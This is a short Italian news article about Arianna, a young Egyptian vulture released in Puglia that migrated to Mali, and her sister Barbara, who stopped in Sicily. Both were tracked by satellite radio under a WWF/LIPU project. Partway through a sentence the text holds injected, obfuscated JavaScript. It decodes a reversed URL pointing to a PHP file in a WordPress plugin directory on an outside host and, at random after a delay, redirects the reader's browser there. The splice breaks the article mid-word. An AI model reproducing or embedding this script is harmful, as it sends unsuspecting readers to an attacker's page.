Arianna è arrivata in Mali

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Arianna è un giovane capovaccaio (un piccolo avvoltoio migratore) che insieme alla sorella Barbara è stato liberato lo scorso agosto dall’Oasi Lipu di Gravina di Laterza, in Puglia. Arianna ha volato per oltre 4mila chilometri ed è giunta, il 16 settembre, in Mali, Africa. Barbara, invece, si è fermata in Sicilia, in attesa di compiere il gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande balzo verso il continente africano. La speranza è che i due rapaci possano tornare a riprodursi in Puglia dopo alcuni anni trascorsi in Africa. Nati da genitori spagnoli nell’ambito del progetto Capovaccaio del WWF Toscana, Arianna e Barbara, all’età di due mesi, sono state portate nell’Oasi LIPU e dotate di anelli di riconoscimento, microchip e radio satellitari. Qui sono state abituate gradualmente alla libertà, dopo alcuni giorni passati in una cavità idonea ricavata nella roccia, già attrezzata per poterle rifornire di cibo e acqua, sotto lo sguardo attento di una telecamera e la costante attenzione dello staff di ricercatori. Il 23 agosto è avvenuta la loro liberazione, con un volo che le ha portate verso Sud, l’una in Sicilia, l’altra fino in Mali. I dati pervenuti dalle due radio satellitari sono di grande interesse scientifico: per la prima volta si conosce la rotta che seguono i capovaccai italiani e l’area di svernamento, costituita appunto dal Mali, nei pressi di Timbuctu.
Per seguire il viaggio di Arianna e Barbara www.capovaccaio.it

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